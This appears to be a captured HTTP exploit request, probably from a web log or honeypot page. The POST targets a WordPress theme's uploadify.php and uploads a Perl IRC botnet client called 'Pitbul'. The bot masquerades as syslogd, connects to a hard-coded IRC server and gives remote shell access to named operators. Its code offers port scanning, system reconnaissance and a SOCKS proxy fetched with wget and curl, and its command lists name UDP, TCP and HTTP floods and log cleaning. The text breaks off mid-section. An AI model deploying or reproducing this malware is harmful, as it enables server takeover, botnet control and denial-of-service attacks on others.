POST /wp-content/themes/zcool_like/uploadify.php HTTP/1.1                       
   TE: deflate,gzip;q=0.3                                                          
   Connection: TE, close                                                           
   Host: oucsace.cs.ohiou.edu                                                      
   User-Agent: Mozilla/5.0 (Windows;U;Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1
   Content-Length: 63304                                                           
   Content-Type: multipart/form-data; boundary=xYzZY                               
                                                                                   
   --xYzZY                                                                         
   Content-Disposition: form-data; name="Filedata"; filename="wpa.php"             
   Content-Type: text/plain                                                        
                                                                                   
   #!/usr/bin/perl                                                                 
   use HTTP::Request;                                                              
   use LWP::UserAgent;                                                             
   my $processo = '/sbin/syslogd';                                                 
   my $linas_max='3';                                                              
   my $sleep='2';                                                                  
   my $cmd="http://h4ck3d.wsnw.net/mic22.txt";                                     
   my $id="http://h4ck3d.wsnw.net/mic22.txt";                                      
   ############################################                                    
   my @adms=("dark","Lemon-Ice","ElNuevoDiablo","Silenzio");                       
   my @canais=("#perl");                                                           
   #Put your channel here                                                          
   my @nickname = ("Bot-Perl|");                                                   
   my $nick = $nickname[rand scalar @nickname];                                    
   #Nickname of bot                                                                
   my $ircname ='.';                                                               
   chop (my $realname = 'indon');                                                  
   #IRC name and Realname                                                          
   $servidor='58.221.92.242' unless $servidor;                                     
   my $porta='21333';                                                              
   ############################################                                    
   $SIG{'INT'} = 'IGNORE';                                                         
   $SIG{'HUP'} = 'IGNORE';                                                         
   $SIG{'TERM'} = 'IGNORE';                                                        
   $SIG{'CHLD'} = 'IGNORE';                                                        
   $SIG{'PS'} = 'IGNORE';                                                          
   use IO::Socket;                                                                 
   use Socket;                                                                     
   use IO::Select;                                                                 
   chdir("/");                                                                     
                                                                                   
   #Connect                                                                        
   $servidor="$ARGV[0]" if $ARGV[0];                                               
   $0="$processo"."\0"x16;;                                                        
   my $pid=fork;                                                                   
   exit if $pid;                                                                   
   die "Masalah fork: $!" unless defined($pid);                                    
                                                                                   
   our %irc_servers;                                                               
   our %DCC;                                                                       
   my $dcc_sel = new IO::Select->new();                                            
   $sel_cliente = IO::Select->new();                                               
   sub sendraw {                                                                   
      if ($#_ == '1') {                                                            
         my $socket = $_[0];                                                       
         print $socket "$_[1]\n";                                                  
                                                                                   
      } else {                                                                     
         print $IRC_cur_socket "$_[0]\n";                                          
      }                                                                            
   }                                                                               
                                                                                   
   sub conectar {                                                                  
      my $meunick = $_[0];                                                         
      my $servidor_con = $_[1];                                                    
      my $porta_con = $_[2];                                                       
                                                                                   
      my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
      PeerPort=>$porta_con) or return(1);                                          
      if (defined($IRC_socket)) {                                                  
         $IRC_cur_socket = $IRC_socket;                                            
         $IRC_socket->autoflush(1);                                                
         $sel_cliente->add($IRC_socket);                                           
         $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";                  
         $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";                    
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;                         
         $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;           
         nick("$meunick");                                                         
         sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
         sleep 1;                                                                  
      }                                                                            
   }                                                                               
                                                                                   
   my $line_temp;                                                                  
   while( 1 ) {                                                                    
      while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }  
      select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
      delete($irc_servers{''}) if (defined($irc_servers{''}));                     
      my @ready = $sel_cliente->can_read(0);                                       
      next unless(@ready);                                                         
      foreach $fh (@ready) {                                                       
         $IRC_cur_socket = $fh;                                                    
         $meunick = $irc_servers{$IRC_cur_socket}{'nick'};                         
         $nread = sysread($fh, $msg, 4096);                                        
         if ($nread == 0) {                                                        
            $sel_cliente->remove($fh);                                             
            $fh->close;                                                            
            delete($irc_servers{$fh});                                             
         }                                                                         
         @lines = split (/\n/, $msg);                                              
         for(my $c=0; $c<= $#lines; $c++) {                                        
            $line = $lines[$c];                                                    
            $line=$line_temp.$line if ($line_temp);                                
            $line_temp='';                                                         
            $line =~ s/\r$//;                                                      
            unless ($c == $#lines) {                                               
               parse("$line");                                                     
            } else {                                                               
               if ($#lines == 0) {                                                 
                  parse("$line");                                                  
               } elsif ($lines[$c] =~ /\r$/) {                                     
                  parse("$line");                                                  
               } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {                   
                  parse("$line");                                                  
               } else {                                                            
                  $line_temp = $line;                                              
               }                                                                   
            }                                                                      
         }                                                                         
      }                                                                            
   }                                                                               
                                                                                   
   sub parse {                                                                     
      my $servarg = shift;                                                         
      if ($servarg =~ /^PING \:(.*)/) {                                            
         sendraw("PONG :$1");                                                      
      } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {        
         my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;                
         if ($args =~ /^\001VERSION\001$/) {                                       
            notice("$pn", "\001VERSION Pitbul by Tagar\001");                      
         }                                                                         
         if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {                                  
            if ($onde eq "$meunick"){                                              
               shell("$pn", "$args");                                              
            }                                                                      
   #End of Connect                                                                 
            if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {                        
               my $natrix = $1;                                                    
               my $arg = $2;                                                       
               if ($arg =~ /^\!(.*)/) {                                            
                  ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
               } elsif ($arg =~ /^\@(.*)/) {                                       
                  $ondep = $onde;                                                  
                  $ondep = $pn if $onde eq $meunick;                               
                  bfunc("$ondep","$1");                                            
               } else {                                                            
                  shell("$onde", "$arg");                                          
               }                                                                   
            }                                                                      
         }                                                                         
      }                                                                            
   ######################### End of prefix                                         
      elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {             
         if (lc($1) eq lc($meunick)) {                                             
            $meunick=$4;                                                           
            $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;                      
         }                                                                         
      } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {                                   
         nick("$meunick|".int rand(999999));                                       
      } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {                         
         $meunick = $2;                                                            
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;                         
         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";                             
         foreach my $canal (@canais) {                                             
            sendraw("JOIN $canal $key");                                           
         }                                                                         
      }                                                                            
   }                                                                               
                                                                                   
   sub bfunc {                                                                     
      my $printl = $_[0];                                                          
      my $funcarg = $_[1];                                                         
      if (my $pid = fork) {                                                        
         waitpid($pid, 0);                                                         
      } else {                                                                     
         if (fork) {                                                               
            exit;                                                                  
         } else {                                                                  
                                                                                   
            if ($funcarg =~ /^killme/) {                                           
               sendraw($IRC_cur_socket, "QUIT :");                                 
               $killd = "kill -9 ".fork;                                           
               system (`$killd`);                                                  
            }                                                                      
   ######################                                                          
   #                    Commands                      #                            
   ######################                                                          
            if ($funcarg =~ /^commands/) {                                         
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,1[ 14@ 9-[MaZaCrEw B0T Commands List]- 14@ 4 ] ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,1[ 14@ 13-----[MaZaCrEw/Hacking Based]----- 14@ 4 ] ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3multiscan  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3socks5");   
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3sql  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3portscan ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3logcleaner");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3sendmail    ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3system");   
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3cleartmp"); 
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3rootable"); 
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3nmap   ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3back ");   
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3linuxhelp");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3cd tmp:. | for example");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 8,1[ 14@ 13-----[Advisory/New Based]----- 14@ 4 ] ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3packetstorm");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3milw0rm");  
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,1[ 14@ 13-----[DDos Based]----- 14@ 4 ] ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3udpflood   
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3tcpflood    
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3httpflood  
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3sqlflood  
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,1[ 14@ 13-----[IRC Based]----- 14@ 4 ] ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3killme");   
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3join #channel");   
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3part #channel");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3reset");    
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3voice  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3owner  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3deowner  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3devoice  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3halfop  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3dehalfop  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3op  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3deop  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,1[ 14@ 13-----[Flooding Based]----- 14@ 4 ] ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3msgflood  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3dccflood  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3ctcpflood  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3noticeflood  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3channelflood");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3maxiflood  ");
   }                                                                               
                                                                                   
            if ($funcarg =~ /^linuxhelp/) {                                        
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,1[ 14@ 13-----[Linux Help]----- 14@ 4 ] ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@  3Dir where you are : pwd");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@  3Start a Perl file : perl file.pl");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@  3Go back from dir : cd ..");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@  3Force to Remove a file/dir : rm -rf file/dir;ls -la");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@  3Show all files/dir with permissions : ls -lia");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@  3Find config.inc.php files : find / -type f -name config.inc.php");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@  3Find all writable folders and files : find / -perm -2 -ls");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@  3Find all .htpasswd files : find / -type f -name .htpasswd");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@  3Find all service.pwd files : find / -type f -name service.pwd");
            }                                                                      
                                                                                   
            if ($funcarg =~ /^help/) {                                             
                sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,1[ 14@ 13-----[Help Commands]----- 14@ 4 ] ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3flooding - For IRC Flooding Help");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3irc - For IRC Bot Command Help ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3ddos - For DDos Command Help");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3news - For Security News Command Help ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3hacking - For Hacking Command Help");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3linuxhelp - For Linux Help");
            }                                                                      
                                                                                   
            if ($funcarg =~ /^flooding/) {                                         
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,1[ 14@ 13-----[Flooding Based]----- 14@ 4 ] ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3msgflood  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3dccflood  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3ctcpflood  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3noticeflood  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3channelflood");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3maxiflood  ");
            }                                                                      
                                                                                   
            if ($funcarg =~ /^irc/) {                                              
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 12,1[ 14@ 13-----[IRC Commands]----- 14@ 12 ] ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3voice  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3owner  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3deowner  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3devoice  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3halfop  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3dehalfop  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3op  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3deop  ");
            }                                                                      
                                                                                   
            if ($funcarg =~ /^ddos/) {                                             
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 12,1[ 14@ 13-----[Ddos Commands]----- 14@ 12 ] ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3udpflood   
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3tcpflood    
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3httpflood  
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3sqlflood  
            }                                                                      
                                                                                   
            if ($funcarg =~ /^news/) {                                             
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 12,1[ 14@ 13-----[News Commands]----- 14@ 12 ] ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3packetstorm");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3milw0rm");  
            }                                                                      
                                                                                   
            if ($funcarg =~ /^hacking/) {                                          
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 12,1[ 14@ 13-----[Hacking Commands]----- 14@ 12 ] ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3multiscan  ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3socks5");   
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3portscan ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3logcleaner");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3sendmail    ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3system");   
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3cleartmp"); 
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3rootable"); 
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3nmap   ");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3back ");   
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3linuxhelp");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4!bot  14@ 3cd tmp:. | for example");
            }                                                                      
   ######################                                                          
   #   End of  Help     #                                                          
   ######################                                                          
   ######################                                                          
   #     Commands       #                                                          
   ######################                                                          
            if ($funcarg =~ /^system/) {                                           
               $uname=`uname -a`;                                                  
               $uptime=`uptime`;                                                   
               $ownd=`pwd`;                                                        
               $distro=`cat /etc/issue`;                                           
               $id=`id`;                                                           
               $un=`uname -sro`;                                                   
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12Info BOT : 7 Servidor :Hiden : 6667");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12Uname -a     :  7 $uname");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12Uptime       :  7 $uptime");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12Own Prosses  :  7 $processo");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12ID           :  7 $id");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12Own Dir      :  7 $ownd");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12OS           :  7 $distro");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12Owner        :  7 Tagar");
               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 4System Info 12:. 4|  12Channel      :  7 #maza");
            }                                                                      
                                                                                   
            if ($funcarg =~ /^milw0rm/) {                                          
               my @ltt=();                                                         
               my @bug=();                                                         
               my $x;                                                              
               my $page="";                                                        
               my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
               print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
               my @r = <$socke>;                                                   
               $page="@r";                                                         
               close($socke);                                                      
               while ($page =~  m/(.*)</g){                                 </PRE>
<PRE>                  $x = $1;                                                         </PRE>
<PRE>                  if ($x =~ /\<\;/) {                                            </PRE>
<PRE>                     $x =~ s/\<\;/</g;                                           </PRE>
<PRE>                  }                                                                </PRE>
<PRE>                  if ($x !~ /milw0rm/) {                                           </PRE>
<PRE>                     push (@bug,$x);                                               </PRE>
<PRE>                  }                                                                </PRE>
<PRE>               }                                                                   </PRE>
<PRE>               while ($page =~  m/<link.*expl.*([0-9]...)</g) {                    </PRE>
<PRE>                  if ($1 !~ m/milw0rm.com|exploits|en/){                           </PRE>
<PRE>                     push (@ltt,"http://www.milw0rm.com/exploits/$1 ");            </PRE>
<PRE>                  }                                                                </PRE>
<PRE>               }                                                                   </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 3milw0rm 12:. 4| 12 Latest exploits :");</PRE>
<PRE>               foreach $x (0..(@ltt - 1)) {                                        </PRE>
<PRE>                  sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 3milw0rm 12:. 4| 12  $bug[$x] - $ltt[$x]");</PRE>
<PRE>                  sleep 1;                                                         </PRE>
<PRE>               }                                                                   </PRE>
<PRE>            }                                                                      </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #      Portscan      #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>            if ($funcarg =~ /^portscan (.*)/) {                                    </PRE>
<PRE>               my $hostip="$1";                                                    </PRE>
<PRE>               @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");</PRE>
<PRE>               my (@aberta, %porta_banner);                                        </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Port-Scanner 12] Scanning for open ports on ".$1."  12 started .");</PRE>
<PRE>               foreach my $porta (@portas)  {                                      </PRE>
<PRE>                  my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =></PRE>
<PRE>                     'tcp', Timeout => 4);                                         </PRE>
<PRE>                  if ($scansock) {                                                 </PRE>
<PRE>                     push (@aberta, $porta);                                       </PRE>
<PRE>                     $scansock->close;                                             </PRE>
<PRE>                  }                                                                </PRE>
<PRE>               }                                                                   </PRE>
<PRE>                                                                                   </PRE>
<PRE>               if (@aberta) {                                                      </PRE>
<PRE>                  sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Port-Scanner 12] Open ports founded: @aberta");</PRE>
<PRE>               } else {                                                            </PRE>
<PRE>                  sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Port-Scanner 12] No open ports foundend.");</PRE>
<PRE>               }                                                                   </PRE>
<PRE>            }                                                                      </PRE>
<PRE>                                                                                   </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #  End of  Portscan  #                                                          </PRE>
<PRE>   #####################                                                           </PRE>
<PRE>   #####################                                                           </PRE>
<PRE>   # Chk The News from PacketStorm#                                                </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   if ($funcarg =~ /^packetstorm/) {                                               </PRE>
<PRE>      my $c=0;                                                                     </PRE>
<PRE>      my $x;                                                                       </PRE>
<PRE>      my @ttt=();                                                                  </PRE>
<PRE>      my @ttt1=();                                                                 </PRE>
<PRE>      my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return; </PRE>
<PRE>      print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";                              </PRE>
<PRE>      print $sock "Host: www.packetstormsecurity.org\r\n";                         </PRE>
<PRE>      print $sock "Accept: */*\r\n";                                               </PRE>
<PRE>      print $sock "User-Agent: Mozilla/5.0\r\n\r\n";                               </PRE>
<PRE>      my @r = <$sock>;                                                             </PRE>
<PRE>      $page="@r";                                                                  </PRE>
<PRE>      close($sock);                                                                </PRE>
<PRE>      while ($page =~  m/<link>(.*)<\/link>/g)                                     </PRE>
<PRE>      {                                                                            </PRE>
<PRE>              push(@ttt,$1);                                                       </PRE>
<PRE>      }                                                                            </PRE>
<PRE>      while ($page =~  m/<description>(.*)<\/description>/g)                       </PRE>
<PRE>      {                                                                            </PRE>
<PRE>             push(@ttt1,$1);                                                       </PRE>
<PRE>      }                                                                            </PRE>
<PRE>      foreach $x (0..(@ttt - 1))                                                   </PRE>
<PRE>      {                                                                            </PRE>
<PRE>            sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3PacketStorm 12] ".$ttt[$x]."  ".$ttt1[$x]."");</PRE>
<PRE>         sleep 3;                                                                  </PRE>
<PRE>         $c++;                                                                     </PRE>
<PRE>      }                                                                            </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #Auto Install Socks V5 using Mocks#                                             </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   if ($funcarg =~ /^socks5/) {                                                    </PRE>
<PRE>      sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3SocksV5 12] 12 Installing Mocks please wait 4");</PRE>
<PRE>         system 'cd /tmp';                                                         </PRE>
<PRE>         system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';</PRE>
<PRE>         system 'tar -xvfz mocks-0.0.2.tar.gz';                                    </PRE>
<PRE>         system 'rm -rf mocks-0.0.2.tar.gz';                                       </PRE>
<PRE>         system 'cd mocks-0.0.2';                                                  </PRE>
<PRE>         system 'rm -rf mocks.conf';                                               </PRE>
<PRE>         system 'curl -O http://andromeda.covers.de/221/mocks.conf';               </PRE>
<PRE>         system 'touch mocks.log';                                                 </PRE>
<PRE>         system 'chmod 0 mocks.log';                                               </PRE>
<PRE>            sleep(2);                                                              </PRE>
<PRE>         system './mocks start';                                                   </PRE>
<PRE>            sleep(4);                                                              </PRE>
<PRE>         sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3SocksV5 12] 12 Looks like its succesfully installed lets do the last things 4   ");</PRE>
<PRE>                                                                                   </PRE>
<PRE>         #lets grab ip                                                             </PRE>
<PRE>         $net = `/sbin/ifconfig | grep 'eth0'`;                                    </PRE>
<PRE>         if (length($net))                                                         </PRE>
<PRE>         {                                                                         </PRE>
<PRE>         $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;                          </PRE>
<PRE>         if (!length($net))                                                        </PRE>
<PRE>         {                                                                         </PRE>
<PRE>         $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;                          </PRE>
<PRE>         }                                                                         </PRE>
<PRE>            if (length($net))                                                      </PRE>
<PRE>         {                                                                         </PRE>
<PRE>            chop($net);                                                            </PRE>
<PRE>            @netip = split/:/,$net;                                                </PRE>
<PRE>            $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;                </PRE>
<PRE>            $ip = $1 .".". $2 .".". $3 .".". $4;                                   </PRE>
<PRE>                                                                                   </PRE>
<PRE>               #and print it ^^                                                    </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3SocksV5 12] Connect here : 4 ". $ip .":8787 ");</PRE>
<PRE>            }                                                                      </PRE>
<PRE>         else                                                                      </PRE>
<PRE>      {                                                                            </PRE>
<PRE>         sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3SocksV5 12] IP not founded ");</PRE>
<PRE>      }                                                                            </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   else                                                                            </PRE>
<PRE>   {                                                                               </PRE>
<PRE>         sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3SocksV5 12] ERROR WHILE INSTALLING MOCKS ");</PRE>
<PRE>   }                                                                               </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #        Nmap        #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>      if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){                             </PRE>
<PRE>            my $hostip="$1";                                                       </PRE>
<PRE>            my $portstart = "$2";                                                  </PRE>
<PRE>            my $portend = "$3";                                                    </PRE>
<PRE>            my (@abertas, %porta_banner);                                          </PRE>
<PRE>          sendraw($IRC_cur_socket, "PRIVMSG $printl : Nmap PortScan  12:.  4|   4: $1:. |.:  4Ports  12:.  4 $2-$3");</PRE>
<PRE>          foreach my $porta ($portstart..$portend){                                </PRE>
<PRE>                  my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);</PRE>
<PRE>       if ($scansock) {                                                            </PRE>
<PRE>                    push (@abertas, $porta);                                       </PRE>
<PRE>                    $scansock->close;                                              </PRE>
<PRE>                    if ($xstats){                                                  </PRE>
<PRE>           sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Nmap 12]  Nmap PortScan :. |Founded   4 $porta"."/Open");</PRE>
<PRE>                    }                                                              </PRE>
<PRE>                  }                                                                </PRE>
<PRE>                }                                                                  </PRE>
<PRE>                if (@abertas) {                                                    </PRE>
<PRE>           sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Nmap 12]  Nmap PortScan  12:.  4| Complete ");</PRE>
<PRE>                } else {                                                           </PRE>
<PRE>           sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Nmap 12]  Nmap PortScan  12:.  4| No open ports have been founded  13");</PRE>
<PRE>                }                                                                  </PRE>
<PRE>             }                                                                     </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #    End of Nmap     #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #    Log Cleaner     #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
